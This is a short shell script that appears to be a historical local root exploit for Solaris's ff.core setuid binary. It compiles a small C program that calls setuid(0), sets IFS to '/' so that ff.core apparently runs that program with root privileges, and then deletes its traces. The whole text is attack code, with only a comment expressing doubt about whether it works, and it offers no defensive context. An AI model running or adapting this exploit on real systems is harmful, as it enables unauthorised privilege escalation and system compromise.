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- #!/bin/sh -f
-
- # try to exploit ff.core hole (?? does solaris honour suid IFS changes?)
-
- cat > usr.c << _EOF_
-
- main() {
-
- printf("uid=%d gid=%d\n", getuid(), getgid());
-
- setuid(0); setgid(0); seteuid(0); setegid(0);
-
- printf("uid after set=%d\n", getuid());
-
- }
-
- _EOF_
-
- cc -o usr usr.c
-
- chmod 700 usr
-
- IFS="/"
-
- export IFS
-
- /usr/openwin/bin/ff.core 0 0 0 0 0
-
- #ffc 0 0 fd0/fd0 1
-
- rm -f usr usr.c
-
-